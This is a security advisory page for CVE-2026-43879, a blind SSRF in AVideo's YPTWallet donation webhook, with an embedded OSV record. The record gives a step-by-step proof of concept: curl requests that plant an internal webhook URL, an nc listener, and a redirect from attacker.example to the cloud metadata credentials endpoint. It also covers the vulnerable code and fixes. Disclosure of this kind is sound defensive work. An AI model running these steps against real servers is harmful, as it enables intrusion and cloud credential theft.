CVE-2026-43879: Wwbn/avideo AVideo Has Blind SSRF Vulnerability
MODERATECVE-2026-43879 is a MODERATE (CVSS 5.4) avideo has blind ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has blind ssrf in yptwallet donation webhook via missing isssrfsafeurl() check and curlopt_followlocation redirect bypass. Remediation is available in the latest vendor maintenance releases.
CVE-2026-43879 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-43879
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-43879, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-43879 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 29.0
|
|
References
Frequently Asked Questions
What is CVE-2026-43879?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-43879?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-43879?
What CWE is associated with CVE-2026-43879?
How can I check Packagist dependencies for CVE-2026-43879?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wp38-whx3-xffh",
"modified" : "2026-05-13T14:20:18Z",
"published" : "2026-05-05T21:49:23Z",
"aliases" : [ "CVE-2026-43879" ],
"summary" : "AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass",
"details" : "## Summary\n\nAn authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via `plugin/CustomizeUser/donate.json.php`, the AVideo server issues a `curl` POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only `isValidURL()` (which is a format check) and does not call the codebase's own `isSSRFSafeURL()` helper. Additionally, `CURLOPT_FOLLOWLOCATION` is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.\n\n## Details\n\n### Sink: unvalidated curl POST in afterDonation\n\n`plugin/YPTWallet/YPTWallet.php:1043-1099`\n\n```php\npublic function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)\n{\n ...\n $donation_notification_url = self::getDonationNotificationURL($users_id);\n ...\n if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {\n ...\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $donation_notification_url);\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_HEADER, false);\n curl_setopt($ch, CURLOPT_TIMEOUT, 1);\n curl_setopt($ch, CURLOPT_NOSIGNAL, true);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081\n ...\n ob_start();\n curl_exec($ch);\n ob_end_clean();\n```\n\nThe gate at line 1064 is `isValidURL()` only. That helper is a pure format check:\n\n`objects/functions.php:4305-4315`\n\n```php\nfunction isValidURL($url)\n{\n if (empty($url) || !is_string($url)) {\n return false;\n }\n if (preg_match(\"/^http.*/\", $url) && filter_var($url, FILTER_VALIDATE_URL)) {\n return true;\n }\n return false;\n}\n```\n\nIt does not reject `http://127.0.0.1`, `http://169.254.169.254`, RFC1918 ranges, or hostnames that resolve to private IPs.\n\nThe project already ships a correct SSRF guard at `objects/functions.php:4366` (`isSSRFSafeURL()`), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.\n\n### Storage path has no SSRF validation\n\n`plugin/YPTWallet/view/saveConfiguration.php:31-33`\n\n```php\nif(isset($_REQUEST['donation_notification_url'])){\n $obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);\n}\n```\n\n`plugin/YPTWallet/YPTWallet.php:1015-1034`\n\n```php\nstatic function setDonationNotificationURL($users_id, $url)\n{\n $url = trim($url);\n $url = preg_replace('/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]/', '', $url);\n $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');\n if (strlen($url) > 2048) { ... }\n $user = new User($users_id);\n return $user->addExternalOptions('donation_notification_url', $url);\n}\n```\n\nNo host/IP/scheme validation. A value like `http://127.0.0.1:8080/internal` contains none of `& < > \" '`, so `htmlspecialchars` preserves it verbatim.\n\n### Trigger\n\n`plugin/CustomizeUser/donate.json.php:88,108`\n\n```php\nif (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {\n ...\n AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);\n}\n...\nif (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {\n ...\n AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);\n}\n```\n\nDonor must have wallet balance; captcha is required unless `disableCaptchaOnWalletDirectTransferDonation` is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.\n\n### FOLLOWLOCATION bypass\n\nEven if `isSSRFSafeURL()` were added to the upfront check on the stored URL, `CURLOPT_FOLLOWLOCATION=true` with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. `http://169.254.169.254/latest/...` or any RFC1918 endpoint.\n\n### What escapes to the internal request\n\nThe POST body is `http_build_query($data)` where `$data` contains `from_users_id`, `from_users_name`, `currency`, `how_much_human`, `how_much`, `message` (attacker-controlled from the donate.json.php request), `videos_id`, `users_id`, `time`, and `extraParameters`. Headers include `X-Webhook-Signature: sha256=...` and `X-Webhook-Timestamp`. The response is discarded (`ob_start` / `ob_end_clean`, return value ignored), so this is a **blind** SSRF — exfiltration must use out-of-band channels.\n\n## PoC\n\nPrerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).\n\nStep 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:\n\n```bash\ncurl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \\\n --data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \\\n --data-urlencode 'CryptoWallet='\n```\n\nResponse body includes the stored `donation_notification_url` plus Alice's `webhook_secret` (the signature is computed with Alice's own secret, so there is no cross-user signature leak).\n\nStep 2 — Start a listener on the target host to observe the blind request:\n\n```bash\n# On the target server\nnc -lvp 8080\n```\n\nStep 3 — Bob donates the minimum amount to Alice (captcha solved):\n\n```bash\ncurl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \\\n --data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'\n```\n\n`donate.json.php:108` calls `AVideoPlugin::afterDonation(...)`.\n\nStep 4 — Observe the netcat listener: the AVideo server issues:\n\n```\nPOST /internal/admin/action HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: <AVideo UA>\nContent-Type: application/x-www-form-urlencoded\nX-Webhook-Signature: sha256=<hmac>\nX-Webhook-Timestamp: <epoch>\nContent-Length: ...\n\nfrom_users_id=<bob>&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...\n```\n\nConfirmed: the vulnerable server reaches the loopback port on behalf of the attacker.\n\nStep 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls:\n\n```bash\ncurl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \\\n --data-urlencode 'donation_notification_url=https://attacker.example/r' \\\n --data-urlencode 'CryptoWallet='\n```\n\nAlice's web server at `attacker.example/r` responds to the POST with:\n\n```\nHTTP/1.1 307 Temporary Redirect\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\n\nBecause `CURLOPT_FOLLOWLOCATION=true` and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.\n\n## Impact\n\n- **Blind SSRF from authenticated low-privileged users.** An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.\n- **State-changing POST to internal endpoints.** Because the request method is fixed to POST and the body is attacker-influenced (the `message` field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies.\n- **Cloud metadata reachability via 307 redirect chain.** Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.\n- **Blindness limits direct data exfiltration** (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.\n- **No CSRF protection** on `saveConfiguration.php`, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account.\n\n## Recommended Fix\n\n1. Call `isSSRFSafeURL()` on both the store path and the dispatch path. In `plugin/YPTWallet/YPTWallet.php:1015` (setter) and line 1064 (dispatcher), replace:\n\n```php\nif (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {\n```\n\nwith:\n\n```php\n$resolvedIP = null;\nif (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) {\n```\n\nand reject the URL in `setDonationNotificationURL()` before persisting:\n\n```php\nstatic function setDonationNotificationURL($users_id, $url)\n{\n $url = trim($url);\n $url = preg_replace('/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]/', '', $url);\n if (!isSSRFSafeURL($url)) {\n _error_log(\"setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}\");\n return false;\n }\n if (strlen($url) > 2048) { ... }\n $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');\n ...\n}\n```\n\n2. Disable automatic redirect following, or implement per-hop validation. Either:\n\n```php\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\n```\n\nOr use `CURLOPT_REDIR_PROTOCOLS` limited to `CURLPROTO_HTTP | CURLPROTO_HTTPS` **and** pin DNS via `CURLOPT_RESOLVE` using the `$resolvedIP` from `isSSRFSafeURL()`, then follow redirects manually by re-validating each `Location:` header with `isSSRFSafeURL()` before re-issuing the request.\n\n3. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:\n\n```php\n$parts = parse_url($donation_notification_url);\n$port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80);\ncurl_setopt($ch, CURLOPT_RESOLVE, [\"{$parts['host']}:{$port}:{$resolvedIP}\"]);\n```\n\n4. Add a CSRF/global-token check on `plugin/YPTWallet/view/saveConfiguration.php` (consistent with the token validation added elsewhere in the codebase in commit `11e7804f7`) to prevent webhook planting via CSRF on a victim's authenticated session.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "29.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-wp38-whx3-xffh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43879"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/aaacd48f29f1ff71d1eb5fc81d37605f593cefa9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T21:49:23Z",
"nvd_published_at" : "2026-05-11T22:22:12Z"
}
}